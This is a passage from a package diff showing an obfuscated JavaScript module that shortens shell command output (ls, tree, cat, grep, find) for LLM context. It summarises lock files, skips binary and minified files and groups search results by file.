l','parse','basename','skeleton','filterLs','187889eJQSbH','__esModule','.eot','2097728MbexkO','.java','.webm','4476NsoxmM','3964788iBZVkp','4004440gKSkYh','__createBinding','.bin','.jsx','\x0a...\x20(','indexOf','toLocaleString','.tsx'];a0_0x2086=function(){return _0x7e0cf1;};return a0_0x2086();}function filterJsonMinify(_0x47668f){const _0x48590a=a0_0x3b1cfc;try{const _0x548472=_0x47668f[_0x48590a(0x132)]();if(!_0x548472[_0x48590a(0x12a)]('{')&&!_0x548472['startsWith']('['))return null;const _0x12c23b=_0x548472[_0x48590a(0x112)]('\x0a');if(_0x12c23b[_0x48590a(0x16a)]<=0x14)return null;const _0x3a6bdb=JSON[_0x48590a(0x13e)](_0x548472),_0x4c0383=JSON[_0x48590a(0x11b)](_0x3a6bdb);if(_0x4c0383[_0x48590a(0x16a)]<_0x548472['length'])return _0x4c0383;return null;}catch{return null;}}function filterLs(_0x359c6f){const _0x338274=a0_0x3b1cfc,_0x365580=_0x359c6f[_0x338274(0x112)]('\x0a')[_0x338274(0x117)](_0x173ebb=>_0x173ebb[_0x338274(0x132)]()['length']>0x0);if(_0x365580[_0x338274(0x16a)]===0x0)return _0x338274(0x16b);if(_0x365580[_0x338274(0x16a)]<=0x1e)return _0x359c6f[_0x338274(0x132)]();const _0x2b3064=[],_0x498007=[];for(const _0xba24b1 of _0x365580){const _0x4be0c1=_0xba24b1['trim']();if(_0x4be0c1['startsWith']('total\x20')||_0x4be0c1[_0x338274(0x12a)]('d')&&_0x4be0c1['includes']('..'))continue;_0x4be0c1[_0x338274(0x167)]('/')||_0x4be0c1[_0x338274(0x12a)]('d')&&_0x4be0c1[_0x338274(0x18d)]('\x20')?_0x2b3064[_0x338274(0x169)](_0x4be0c1):_0x498007['push'](_0x4be0c1);}const _0x1b4b26=[];return _0x2b3064[_0x338274(0x16a)]>0x0&&(_0x2b3064[_0x338274(0x16a)]<=0xf?_0x1b4b26[_0x338274(0x169)](..._0x2b3064):(_0x1b4b26[_0x338274(0x169)](..._0x2b3064[_0x338274(0x16d)](0x0,0xa)),_0x1b4b26[_0x338274(0x169)](_0x338274(0x176)+(_0x2b3064['length']-0xa)+_0x338274(0x12c)))),_0x498007[_0x338274(0x16a)]>0x0&&(_0x498007['length']<=0x14?_0x1b4b26[_0x338274(0x169)](..._0x498007):(_0x1b4b26[_0x338274(0x169)](..._0x498007[_0x338274(0x16d)](0x0,0xf)),_0x1b4b26[_0x338274(0x169)](_0x338274(0x176)+(_0x498007[_0x338274(0x16a)]-0xf)+_0x338274(0x15b)))),_0x1b4b26[_0x338274(0x169)]('\x0a('+_0x2b3064[_0x338274(0x16a)]+_0x338274(0x12b)+_0x498007['length']+'\x20files)'),_0x1b4b26[_0x338274(0x186)]('\x0a');}function filterTree(_0x2787be){const _0x5762a3=a0_0x3b1cfc,_0x297ca2=_0x2787be[_0x5762a3(0x112)]('\x0a');if(_0x297ca2[_0x5762a3(0x16a)]<=0x32)return _0x2787be['trim']();const _0x549cfa=[];let _0x5ed2b7=0x0,_0x9288bf=0x0,_0x3b8ee6=0x0;for(const _0x16a9f8 of _0x297ca2){const _0x490280=_0x16a9f8['match'](/(\d+)\s+director/),_0x323807=_0x16a9f8[_0x5762a3(0x113)](/(\d+)\s+file/);if(_0x490280)_0x3b8ee6=parseInt(_0x490280[0x1]);if(_0x323807)_0x9288bf=parseInt(_0x323807[0x1]);const _0x493ede=(_0x16a9f8[_0x5762a3(0x113)](/^[│├└\s─]+/)||[''])[0x0][_0x5762a3(0x16a)];_0x493ede<=0x4&&(_0x549cfa[_0x5762a3(0x169)](_0x16a9f8),_0x5ed2b7++);}return _0x297ca2[_0x5762a3(0x16a)]>_0x549cfa[_0x5762a3(0x16a)]&&_0x549cfa[_0x5762a3(0x169)](_0x5762a3(0x14e)+_0x3b8ee6+_0x5762a3(0x12b)+_0x9288bf+_0x5762a3(0x137)),_0x549cfa['join']('\x0a');}function filterCat(_0x326a31,_0x52427c=''){const _0x51604a=a0_0x3b1cfc,_0x2f77d9=extractFilename(_0x52427c);try{if(_0x2f77d9&&isFeatureEnabled(_0x51604a(0x15a))){const _0x1af641=filterLockFile(_0x326a31,_0x2f77d9);if(_0x1af641)return _0x1af641;}if(isFeatureEnabled(_0x51604a(0x17e))){const _0x2f7c58=filterBinaryOrMinified(_0x326a31,_0x2f77d9);if(_0x2f7c58)return _0x2f7c58;}if(isFeatureEnabled(_0x51604a(0x154))){const _0x5bad09=(0x0,generic_1[_0x51604a(0x164)])(_0x326a31);if(_0x5bad09)return _0x5bad09;}const _0x1ae6a1=filterJsonMinify(_0x326a31);if(_0x1ae6a1)return _0x1ae6a1;if(_0x2f77d9&&isFeatureEnabled(_0x51604a(0x140))){const _0x21517a=path[_0x51604a(0x18c)](_0x2f77d9)[_0x51604a(0x171)](),_0x482433=['.ts','.js',_0x51604a(0x151),_0x51604a(0x14d),_0x51604a(0x128),_0x51604a(0x191),_0x51604a(0x10f),_0x51604a(0x146),'.c',_0x51604a(0x182),_0x51604a(0x10b),_0x51604a(0x10c),_0x51604a(0x13c),'.kt'];if(_0x482433[_0x51604a(0x18d)](_0x21517a)){const _0x8ed319=_0x326a31[_0x51604a(0x112)]('\x0a');if(_0x8ed319['length']>0x64){const _0x5215d3=[];_0x5215d3[_0x51604a(0x169)](_0x51604a(0x178)+path[_0x51604a(0x13f)](_0x2f77d9)+'\x20('+_0x8ed319['length']+_0x51604a(0x153)),_0x5215d3[_0x51604a(0x169)]('');for(const _0x2c789a of _0x8ed319){const _0x8b3eac=_0x2c789a['trim']();if(_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x17a))||_0x8b3eac[_0x51604a(0x12a)]('from\x20')||_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x129))||_0x8b3eac[_0x51604a(0x113)](/=\s*require\(/)||_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x122))||_0x8b3eac[_0x51604a(0x12a)]('use\x20')||_0x8b3eac['startsWith'](_0x51604a(0x139)))_0x5215d3[_0x51604a(0x169)](_0x2c789a);else{if(_0x8b3eac['match'](/^(export\s+)?(async\s+)?function\s+/)||_0x8b3eac[_0x51604a(0x113)](/^(export\s+)?(default\s+)?class\s+/)||_0x8b3eac[_0x51604a(0x113)](/^(export\s+)?(type|interface|enum)\s+/)||_0x8b3eac[_0x51604a(0x113)](/^(async\s+)?def\s+/)||_0x8b3eac[_0x51604a(0x113)](/^func\s+/)||_0x8b3eac[_0x51604a(0x113)](/^type\s+\w+\s+(struct|interface)/)||_0x8b3eac[_0x51604a(0x113)](/^(pub\s+)?(async\s+)?fn\s+/)||_0x8b3eac['match'](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x8b3eac['match'](/^(public|private|protected|static)\s+/))_0x5215d3[_0x51604a(0x169)](_0x2c789a);else{if(_0x8b3eac['startsWith']('export\x20')&&!_0x8b3eac['includes']('=>')&&_0x8b3eac['length']<0x78)_0x5215d3[_0x51604a(0x169)](_0x2c789a);else _0x8b3eac[_0x51604a(0x12a)]('@')&&!_0x8b3eac[_0x51604a(0x12a)]('@param')&&!_0x8b3eac[_0x51604a(0x12a)](_0x51604a(0x12e))&&_0x5215d3[_0x51604a(0x169)](_0x2c789a);}}}_0x5215d3['push'](''),_0x5215d3['push']('('+_0x8ed319['length']+_0x51604a(0x11c)+(_0x5215d3['length']-0x2)+_0x51604a(0x138));const _0x36b1fb=_0x5215d3[_0x51604a(0x186)]('\x0a');if(_0x36b1fb[_0x51604a(0x16a)]<_0x326a31[_0x51604a(0x16a)])return _0x36b1fb;}}}}catch{}let _0x461b01=(0x0,generic_1['collapseWhitespace'])(_0x326a31);if(_0x2f77d9){const _0x5eea93=path[_0x51604a(0x18c)](_0x2f77d9)[_0x51604a(0x171)]();_0x461b01=(0x0,generic_1[_0x51604a(0x158)])(_0x461b01,_0x5eea93);}const _0x1ab52f=_0x461b01[_0x51604a(0x112)]('\x0a');if(_0x1ab52f[_0x51604a(0x16a)]<=0x64)return _0x461b01;const _0x55f55b=[];return _0x55f55b[_0x51604a(0x169)](..._0x1ab52f[_0x51604a(0x16d)](0x0,0x32)),_0x55f55b[_0x51604a(0x169)](_0x51604a(0x13b)+(_0x1ab52f[_0x51604a(0x16a)]-0x50)+_0x51604a(0x114)),_0x55f55b[_0x51604a(0x169)](..._0x1ab52f[_0x51604a(0x16d)](-0x1e)),_0x55f55b[_0x51604a(0x169)]('\x0a('+_0x1ab52f[_0x51604a(0x16a)]+_0x51604a(0x12d)),_0x55f55b[_0x51604a(0x186)]('\x0a');}function filterGrep(_0xd5e452){const _0x97d571=a0_0x3b1cfc,_0x2e5fec=_0xd5e452[_0x97d571(0x112)]('\x0a')['filter'](_0x3235c2=>_0x3235c2[_0x97d571(0x132)]()[_0x97d571(0x16a)]>0x0);if(_0x2e5fec[_0x97d571(0x16a)]===0x0)return'No\x20matches\x20found';if(_0x2e5fec['length']<=0x32)return _0xd5e452['trim']();const _0x113695={},_0x725a0b=[];for(const _0x3ef213 of _0x2e5fec){const _0x55c505=_0x3ef213[_0x97d571(0x14f)](':');if(_0x55c505>0x0&&_0x55c505<0xc8){const _0x518b34=_0x3ef213[_0x97d571(0x165)](0x0,_0x55c505);if(_0x518b34['includes']('/')||_0x518b34[_0x97d571(0x18d)]('\x5c')||_0x518b34[_0x97d571(0x18d)]('.')){if(!_0x113695[_0x518b34])_0x113695[_0x518b34]=[];_0x113695[_0x518b34]['push'](_0x3ef213[_0x97d571(0x165)](_0x55c505+0x1)[_0x97d571(0x132)]());continue;}}_0x725a0b[_0x97d571(0x169)](_0x3ef213);}const _0x145660=[],_0x4c9254=Object['keys'](_0x113695);if(_0x4c9254['length']>0x0){const _0x33a2fd=0x14,_0x50562e=_0x4c9254[_0x97d571(0x16d)](0x0,_0x33a2fd);for(const _0x1a6b55 of _0x50562e){const _0x2f2d70=_0x113695[_0x1a6b55];if(_0x2f2d70['length']<=0x3)for(const _0x207af1 of _0x2f2d70){_0x145660[_0x97d571(0x169)](_0x1a6b55+':\x20'+_0x207af1);}else _0x145660[_0x97d571(0x169)](_0x1a6b55+':\x20'+_0x2f2d70[0x0]),_0x145660[_0x97d571(0x169)](_0x1a6b55+':\x20...\x20('+_0x2f2d70[_0x97d571(0x16a)]+'\x20matches\x20in\x20this\x20file)');}_0x4c9254[_0x97d571(0x16a)]>_0x33a2fd&&_0x145660[_0x97d571(0x169)]('...\x20+'+(_0x4c9254[_0x97d571(0x16a)]-_0x33a2fd)+'\x20more\x20files\x20with\x20matches');}if(_0x725a0b['length']>0x0){const _0x3caf4a=0x1e;_0x145660[_0x97d571(0x169)](..._0x725a0b[_0x97d571(0x16d)](0x0,_0x3caf4a)),_0x725a0b[_0x97d571(0x16a)]>_0x3caf4a&&_0x145660[_0x97d571(0x169)](_0x97d571(0x176)+(_0x725a0b[_0x97d571(0x16a)]-_0x3caf4a)+_0x97d571(0x159));}const _0x42d4d5=_0x2e5fec[_0x97d571(0x16a)];return _0x145660[_0x97d571(0x169)]('\x0a('+_0x42d4d5+'\x20matches\x20across\x20'+(_0x4c9254['length']||'?')+'\x20files)'),_0x145660[_0x97d571(0x186)]('\x0a');}function filterFind(_0x4de026){const _0x3df0c8=a0_0x3b1cfc,_0x394e1f=_0x4de026[_0x3df0c8(0x112)]('\x0a')[_0x3df0c8(0x117)](_0x304ecd=>_0x304ecd['trim']()[_0x3df0c8(0x16a)]>0x0);if(_0x394e1f[_0x3df0c8(0x16a)]===0x0)return _0x3df0c8(0x179);if(_0x394e1f[_0x3df0c8(0x16a)]<=0x32)return _0x4de026['trim']();const _0x2cf94a={};for(const _0x3d21f7 of _0x394e1f){const _0x3f7cf2=path[_0x3df0c8(0x120)](_0x3d21f7[_0x3df0c8(0x132)]())||'.';_0x2cf94a[_0x3f7cf2]=(_0x2cf94a[_0x3f7cf2]||0x0)+0x1;}const _0x4289f8=Object[_0x3df0c8(0x115)](_0x2cf94a)[_0x3df0c8(0x12f)]((_0x5017e3,_0x20602f)=>_0x20602f[0x1]-_0x5017e3[0x1]),_0x2fdcd0=[_0x394e1f['length']+_0x3df0c8(0x126)+_0x4289f8['length']+_0x3df0c8(0x162),''],_0x489354=0x1e;for(const [_0x2e2711,_0x37d732]of _0x4289f8[_0x3df0c8(0x16d)](0x0,_0x489354)){_0x2fdcd0[_0x3df0c8(0x169)]('\x20\x20'+_0x2e2711+_0x3df0c8(0x105)+_0x37d732+_0x3df0c8(0x18a));}return _0x4289f8[_0x3df0c8(0x16a)]>_0x489354&&_0x2fdcd0[_0x3df0c8(0x169)]('\x20\x20...\x20+'+(_0x4289f8[_0x3df0c8(0x16a)]-_0x489354)+'\x20more\x20directories'),_0x2fdcd0[_0x3df0c8(0x186)]('\x0a');}
|
|
1
|
+
'use strict';const a0_0x41b3bf=a0_0x21cb;(function(_0x7cb930,_0x204251){const _0x22368a=a0_0x21cb,_0x3cf849=_0x7cb930();while(!![]){try{const _0x1324f1=-parseInt(_0x22368a(0x234))/0x1*(parseInt(_0x22368a(0x233))/0x2)+parseInt(_0x22368a(0x208))/0x3+parseInt(_0x22368a(0x261))/0x4+parseInt(_0x22368a(0x242))/0x5+-parseInt(_0x22368a(0x1f2))/0x6+-parseInt(_0x22368a(0x25c))/0x7+parseInt(_0x22368a(0x22e))/0x8*(parseInt(_0x22368a(0x243))/0x9);if(_0x1324f1===_0x204251)break;else _0x3cf849['push'](_0x3cf849['shift']());}catch(_0x492e77){_0x3cf849['push'](_0x3cf849['shift']());}}}(a0_0x41d9,0x32605));function a0_0x21cb(_0x156ea5,_0x401542){_0x156ea5=_0x156ea5-0x1ed;const _0x41d960=a0_0x41d9();let _0x21cb6c=_0x41d960[_0x156ea5];return _0x21cb6c;}var __createBinding=this&&this[a0_0x41b3bf(0x26d)]||(Object[a0_0x41b3bf(0x1ee)]?function(_0x5a6156,_0x9956e6,_0x47a15c,_0x12e636){const _0x386678=a0_0x41b3bf;if(_0x12e636===undefined)_0x12e636=_0x47a15c;var _0x4e9eae=Object[_0x386678(0x272)](_0x9956e6,_0x47a15c);(!_0x4e9eae||(_0x386678(0x20a)in _0x4e9eae?!_0x9956e6[_0x386678(0x1fc)]:_0x4e9eae[_0x386678(0x220)]||_0x4e9eae[_0x386678(0x211)]))&&(_0x4e9eae={'enumerable':!![],'get':function(){return _0x9956e6[_0x47a15c];}}),Object['defineProperty'](_0x5a6156,_0x12e636,_0x4e9eae);}:function(_0x525b02,_0x33a51e,_0x10a856,_0x23128f){if(_0x23128f===undefined)_0x23128f=_0x10a856;_0x525b02[_0x23128f]=_0x33a51e[_0x10a856];}),__setModuleDefault=this&&this[a0_0x41b3bf(0x27b)]||(Object[a0_0x41b3bf(0x1ee)]?function(_0x1c768f,_0x201ad2){const _0x231943=a0_0x41b3bf;Object[_0x231943(0x26e)](_0x1c768f,_0x231943(0x236),{'enumerable':!![],'value':_0x201ad2});}:function(_0x34d27e,_0x5588ca){const _0x15ae58=a0_0x41b3bf;_0x34d27e[_0x15ae58(0x236)]=_0x5588ca;}),__importStar=this&&this[a0_0x41b3bf(0x24d)]||(function(){var _0x95d32d=function(_0x2f2a0d){return _0x95d32d=Object['getOwnPropertyNames']||function(_0x21b649){const _0x2a7c56=a0_0x21cb;var _0x26ee0=[];for(var _0x2ce1ca in _0x21b649)if(Object[_0x2a7c56(0x275)][_0x2a7c56(0x1f9)]['call'](_0x21b649,_0x2ce1ca))_0x26ee0[_0x26ee0[_0x2a7c56(0x260)]]=_0x2ce1ca;return _0x26ee0;},_0x95d32d(_0x2f2a0d);};return function(_0x36286c){const _0xd1b123=a0_0x21cb;if(_0x36286c&&_0x36286c[_0xd1b123(0x1fc)])return _0x36286c;var _0x2f1752={};if(_0x36286c!=null){for(var _0x1cfea8=_0x95d32d(_0x36286c),_0x9f8087=0x0;_0x9f8087<_0x1cfea8[_0xd1b123(0x260)];_0x9f8087++)if(_0x1cfea8[_0x9f8087]!==_0xd1b123(0x236))__createBinding(_0x2f1752,_0x36286c,_0x1cfea8[_0x9f8087]);}return __setModuleDefault(_0x2f1752,_0x36286c),_0x2f1752;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x41b3bf(0x226)]=filterLs,exports[a0_0x41b3bf(0x276)]=filterTree,exports[a0_0x41b3bf(0x1fd)]=filterCat,exports[a0_0x41b3bf(0x27f)]=filterGrep,exports['filterFind']=filterFind;const path=__importStar(require(a0_0x41b3bf(0x1f8))),generic_1=require(a0_0x41b3bf(0x268)),tracker_1=require('../tracker');function isFeatureEnabled(_0x363f7b){const _0x3cc333=a0_0x41b3bf;try{const _0x4eb3e6=tracker_1[_0x3cc333(0x223)][_0x3cc333(0x1f3)](),_0x5e36dd=_0x4eb3e6['features_enabled'];if(!_0x5e36dd||_0x5e36dd[_0x363f7b]===undefined)return!![];return _0x5e36dd[_0x363f7b]!==![];}catch{return!![];}}function a0_0x41d9(){const _0x2e9775=['pnpm-lock.yaml','.ttf','\x0a...\x20[','[binary\x20file]\x20','.avi','charCodeAt','.js','dirname','__importStar','indexOf','.jsx','go.sum','stringify','composer.lock','extname','\x20lines\x20total,\x20','\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)','\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)','toLowerCase','slice','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','.dat','join','1336741uWKOuy','\x20more\x20files','\x20structural\x20lines\x20shown)','.eot','length','157584bJbwSV','basename','endsWith','.mp4','@return','.tgz','.dll','./generic','match','stripComments','.mp3','Cargo.lock','__createBinding','defineProperty','.svg','export\x20','binary','getOwnPropertyDescriptor','.bz2','.webm','prototype','filterTree','.min.css','trim','.db','Empty\x20directory','__setModuleDefault','startsWith','.rs','.woff','filterGrep','.pyc','.pdf','\x20chars,\x20type:\x20','#include\x20','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','.woff2','.png','create','push','.go','poetry.lock','2427648HSLHGL','getConfig','.otf','.rar','...\x20+','No\x20matches\x20found','path','hasOwnProperty','Gemfile.lock','.java','__esModule','filterCat','.gz','No\x20files\x20found','\x20directories,\x20','filter','some','bun.lockb','substring','.bin','yarn.lock','\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)','569475kgvREJ','@param','get','.jpg','.bmp','\x20more\x20matches','[minified\x20file]\x20','\x20matches\x20in\x20this\x20file)','.gif','configurable','dependencies','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.7z','\x20\x20...\x20+','packages','.jpeg','.zip','.sqlite3','.webp','.cs','.ts','.min.js','parse','import\x20','writable','\x0a...\x20(','.kt','tracker','package\x20','entries','filterLs','.tsx','[binary/minified\x20file]\x20','split','.tar.gz','use\x20','\x20more\x20directories','includes','6482352AksNtF','\x20lines\x20total)','keys','.dylib','toLocaleString','354vhKSiZ','1401cxDsWh','.ico','default','\x20files)','.rb','\x20files\x20found\x20across\x20','.wasm','.wav','.map','\x20dependencies,\x20','cargo.lock','.py','skeleton','require(','51870ObiNtA','9FAVEJN','\x20matches\x20across\x20'];a0_0x41d9=function(){return _0x2e9775;};return a0_0x41d9();}const LOCK_FILES=['package-lock.json',a0_0x41b3bf(0x206),a0_0x41b3bf(0x245),a0_0x41b3bf(0x26c),a0_0x41b3bf(0x250),a0_0x41b3bf(0x1f1),a0_0x41b3bf(0x252),a0_0x41b3bf(0x1fa),a0_0x41b3bf(0x203)],BINARY_EXTENSIONS=[a0_0x41b3bf(0x21d),a0_0x41b3bf(0x277),a0_0x41b3bf(0x23c),a0_0x41b3bf(0x23a),a0_0x41b3bf(0x1ed),a0_0x41b3bf(0x20b),a0_0x41b3bf(0x217),a0_0x41b3bf(0x210),a0_0x41b3bf(0x235),a0_0x41b3bf(0x20c),a0_0x41b3bf(0x21a),a0_0x41b3bf(0x26f),a0_0x41b3bf(0x281),a0_0x41b3bf(0x218),a0_0x41b3bf(0x22a),a0_0x41b3bf(0x266),a0_0x41b3bf(0x1fe),a0_0x41b3bf(0x273),a0_0x41b3bf(0x214),a0_0x41b3bf(0x1f5),'.exe',a0_0x41b3bf(0x267),'.so',a0_0x41b3bf(0x231),a0_0x41b3bf(0x205),a0_0x41b3bf(0x25a),'.sqlite',a0_0x41b3bf(0x279),a0_0x41b3bf(0x219),a0_0x41b3bf(0x27e),a0_0x41b3bf(0x285),a0_0x41b3bf(0x246),a0_0x41b3bf(0x25f),a0_0x41b3bf(0x1f4),a0_0x41b3bf(0x26b),a0_0x41b3bf(0x264),a0_0x41b3bf(0x23b),a0_0x41b3bf(0x249),'.mov',a0_0x41b3bf(0x274),a0_0x41b3bf(0x280),'.pyo','.class','.o','.obj'];function extractFilename(_0x3c9a9f){const _0x2539c8=a0_0x41b3bf,_0x1cb328=_0x3c9a9f[_0x2539c8(0x278)]()[_0x2539c8(0x229)](/\s+/);for(let _0x327ee3=0x1;_0x327ee3<_0x1cb328[_0x2539c8(0x260)];_0x327ee3++){if(!_0x1cb328[_0x327ee3][_0x2539c8(0x27c)]('-'))return _0x1cb328[_0x327ee3];}return null;}function filterLockFile(_0x515b2c,_0x333f42){const _0x26e748=a0_0x41b3bf;try{const _0x6c11bf=path[_0x26e748(0x262)](_0x333f42)['toLowerCase']();if(!LOCK_FILES[_0x26e748(0x202)](_0xfd6c9b=>_0x6c11bf===_0xfd6c9b[_0x26e748(0x257)]()))return null;const _0x3750f8=_0x515b2c[_0x26e748(0x260)];let _0x59b5c0=0x0;if(_0x6c11bf==='package-lock.json')try{const _0x3e4795=JSON[_0x26e748(0x21e)](_0x515b2c);_0x59b5c0=Object[_0x26e748(0x230)](_0x3e4795[_0x26e748(0x216)]||_0x3e4795[_0x26e748(0x212)]||{})[_0x26e748(0x260)];}catch{_0x59b5c0=(_0x515b2c[_0x26e748(0x269)](/"resolved":/g)||[])[_0x26e748(0x260)];}else{if(_0x6c11bf===_0x26e748(0x206))_0x59b5c0=(_0x515b2c[_0x26e748(0x269)](/^"?[^#\s][^:]*:$/gm)||[])[_0x26e748(0x260)];else{if(_0x6c11bf===_0x26e748(0x23e)||_0x6c11bf===_0x26e748(0x1f1))_0x59b5c0=(_0x515b2c[_0x26e748(0x269)](/\[\[package\]\]/g)||[])[_0x26e748(0x260)];else{if(_0x6c11bf===_0x26e748(0x250))_0x59b5c0=Math['floor'](_0x515b2c['split']('\x0a')[_0x26e748(0x201)](_0x5356c0=>_0x5356c0['trim']())[_0x26e748(0x260)]/0x2);else{if(_0x6c11bf===_0x26e748(0x252))try{_0x59b5c0=JSON[_0x26e748(0x21e)](_0x515b2c)[_0x26e748(0x216)]?.[_0x26e748(0x260)]||0x0;}catch{}else _0x6c11bf===_0x26e748(0x245)?_0x59b5c0=(_0x515b2c['match'](/^\s{2}['"@a-z]/gm)||[])[_0x26e748(0x260)]:_0x59b5c0=_0x515b2c[_0x26e748(0x229)]('\x0a')[_0x26e748(0x201)](_0x1c46d5=>_0x1c46d5[_0x26e748(0x278)]())[_0x26e748(0x260)];}}}}return'[lock\x20file]\x20'+path['basename'](_0x333f42)+':\x20'+_0x59b5c0+_0x26e748(0x23d)+_0x3750f8['toLocaleString']()+_0x26e748(0x213);}catch{return null;}}function filterBinaryOrMinified(_0x31e729,_0x4625df){const _0x466009=a0_0x41b3bf;try{if(_0x4625df){const _0x296a02=_0x4625df[_0x466009(0x257)]();for(const _0x378911 of BINARY_EXTENSIONS){if(_0x296a02[_0x466009(0x263)](_0x378911))return _0x466009(0x228)+path[_0x466009(0x262)](_0x4625df)+',\x20'+_0x31e729['length']['toLocaleString']()+_0x466009(0x282)+_0x378911+_0x466009(0x256);}}const _0x3e8d54=_0x31e729[_0x466009(0x204)](0x0,0x3e8);let _0x1594c4=0x0;for(let _0x36b186=0x0;_0x36b186<_0x3e8d54[_0x466009(0x260)];_0x36b186++){if(_0x3e8d54[_0x466009(0x24a)](_0x36b186)===0x0)_0x1594c4++;}if(_0x1594c4>0x0)return _0x466009(0x248)+_0x31e729[_0x466009(0x260)][_0x466009(0x232)]()+_0x466009(0x207);let _0x5bbf32=0x0;for(let _0x431cb0=0x0;_0x431cb0<_0x3e8d54[_0x466009(0x260)];_0x431cb0++){const _0x4acaa5=_0x3e8d54[_0x466009(0x24a)](_0x431cb0);if(_0x4acaa5<0x20&&_0x4acaa5!==0xa&&_0x4acaa5!==0xd&&_0x4acaa5!==0x9)_0x5bbf32++;}if(_0x3e8d54[_0x466009(0x260)]>0x64&&_0x5bbf32>_0x3e8d54[_0x466009(0x260)]*0.1)return'[binary\x20file]\x20'+_0x31e729[_0x466009(0x260)][_0x466009(0x232)]()+_0x466009(0x255);const _0x366abd=_0x31e729[_0x466009(0x229)]('\x0a');if(_0x366abd['length']<=0x3&&_0x31e729[_0x466009(0x260)]>0x1388)return _0x466009(0x20e)+_0x31e729[_0x466009(0x260)][_0x466009(0x232)]()+'\x20chars\x20across\x20'+_0x366abd[_0x466009(0x260)]+_0x466009(0x259);return null;}catch{return null;}}function filterJsonMinify(_0x5730c7){const _0x5f1e7b=a0_0x41b3bf;try{const _0x553050=_0x5730c7['trim']();if(!_0x553050[_0x5f1e7b(0x27c)]('{')&&!_0x553050[_0x5f1e7b(0x27c)]('['))return null;const _0x462875=_0x553050[_0x5f1e7b(0x229)]('\x0a');if(_0x462875['length']<=0x14)return null;const _0x59c272=JSON[_0x5f1e7b(0x21e)](_0x553050),_0x387fdd=JSON[_0x5f1e7b(0x251)](_0x59c272);if(_0x387fdd[_0x5f1e7b(0x260)]<_0x553050[_0x5f1e7b(0x260)])return _0x387fdd;return null;}catch{return null;}}function filterLs(_0x2066b1){const _0x1ef58a=a0_0x41b3bf,_0xfb454e=_0x2066b1['split']('\x0a')[_0x1ef58a(0x201)](_0x55f2c7=>_0x55f2c7[_0x1ef58a(0x278)]()[_0x1ef58a(0x260)]>0x0);if(_0xfb454e[_0x1ef58a(0x260)]===0x0)return _0x1ef58a(0x27a);if(_0xfb454e['length']<=0x1e)return _0x2066b1[_0x1ef58a(0x278)]();const _0x2a9eea=[],_0xc6172f=[];for(const _0x23cd47 of _0xfb454e){const _0x5dc5f6=_0x23cd47[_0x1ef58a(0x278)]();if(_0x5dc5f6['startsWith']('total\x20')||_0x5dc5f6[_0x1ef58a(0x27c)]('d')&&_0x5dc5f6[_0x1ef58a(0x22d)]('..'))continue;_0x5dc5f6[_0x1ef58a(0x263)]('/')||_0x5dc5f6[_0x1ef58a(0x27c)]('d')&&_0x5dc5f6[_0x1ef58a(0x22d)]('\x20')?_0x2a9eea['push'](_0x5dc5f6):_0xc6172f[_0x1ef58a(0x1ef)](_0x5dc5f6);}const _0x45e706=[];return _0x2a9eea[_0x1ef58a(0x260)]>0x0&&(_0x2a9eea['length']<=0xf?_0x45e706[_0x1ef58a(0x1ef)](..._0x2a9eea):(_0x45e706['push'](..._0x2a9eea[_0x1ef58a(0x258)](0x0,0xa)),_0x45e706[_0x1ef58a(0x1ef)]('...\x20+'+(_0x2a9eea[_0x1ef58a(0x260)]-0xa)+_0x1ef58a(0x22c)))),_0xc6172f[_0x1ef58a(0x260)]>0x0&&(_0xc6172f[_0x1ef58a(0x260)]<=0x14?_0x45e706[_0x1ef58a(0x1ef)](..._0xc6172f):(_0x45e706[_0x1ef58a(0x1ef)](..._0xc6172f[_0x1ef58a(0x258)](0x0,0xf)),_0x45e706[_0x1ef58a(0x1ef)](_0x1ef58a(0x1f6)+(_0xc6172f[_0x1ef58a(0x260)]-0xf)+_0x1ef58a(0x25d)))),_0x45e706[_0x1ef58a(0x1ef)]('\x0a('+_0x2a9eea[_0x1ef58a(0x260)]+_0x1ef58a(0x200)+_0xc6172f[_0x1ef58a(0x260)]+_0x1ef58a(0x237)),_0x45e706[_0x1ef58a(0x25b)]('\x0a');}function filterTree(_0x106110){const _0x4834f0=a0_0x41b3bf,_0x519d87=_0x106110[_0x4834f0(0x229)]('\x0a');if(_0x519d87[_0x4834f0(0x260)]<=0x32)return _0x106110[_0x4834f0(0x278)]();const _0x43beec=[];let _0x371dad=0x0,_0x44d5e8=0x0,_0x129841=0x0;for(const _0x2b7c45 of _0x519d87){const _0x46fb49=_0x2b7c45[_0x4834f0(0x269)](/(\d+)\s+director/),_0x3cd02a=_0x2b7c45['match'](/(\d+)\s+file/);if(_0x46fb49)_0x129841=parseInt(_0x46fb49[0x1]);if(_0x3cd02a)_0x44d5e8=parseInt(_0x3cd02a[0x1]);const _0xe7eb24=(_0x2b7c45[_0x4834f0(0x269)](/^[│├└\s─]+/)||[''])[0x0][_0x4834f0(0x260)];_0xe7eb24<=0x4&&(_0x43beec[_0x4834f0(0x1ef)](_0x2b7c45),_0x371dad++);}return _0x519d87[_0x4834f0(0x260)]>_0x43beec[_0x4834f0(0x260)]&&_0x43beec[_0x4834f0(0x1ef)](_0x4834f0(0x221)+_0x129841+_0x4834f0(0x200)+_0x44d5e8+_0x4834f0(0x284)),_0x43beec[_0x4834f0(0x25b)]('\x0a');}function filterCat(_0x42d126,_0x425de2=''){const _0x992564=a0_0x41b3bf,_0x25c857=extractFilename(_0x425de2);try{if(_0x25c857&&isFeatureEnabled('lock')){const _0x3e7eab=filterLockFile(_0x42d126,_0x25c857);if(_0x3e7eab)return _0x3e7eab;}if(isFeatureEnabled(_0x992564(0x271))){const _0x66254f=filterBinaryOrMinified(_0x42d126,_0x25c857);if(_0x66254f)return _0x66254f;}if(isFeatureEnabled('json_crusher')){const _0x355a43=(0x0,generic_1['smartCrushJson'])(_0x42d126);if(_0x355a43)return _0x355a43;}const _0x51280d=filterJsonMinify(_0x42d126);if(_0x51280d)return 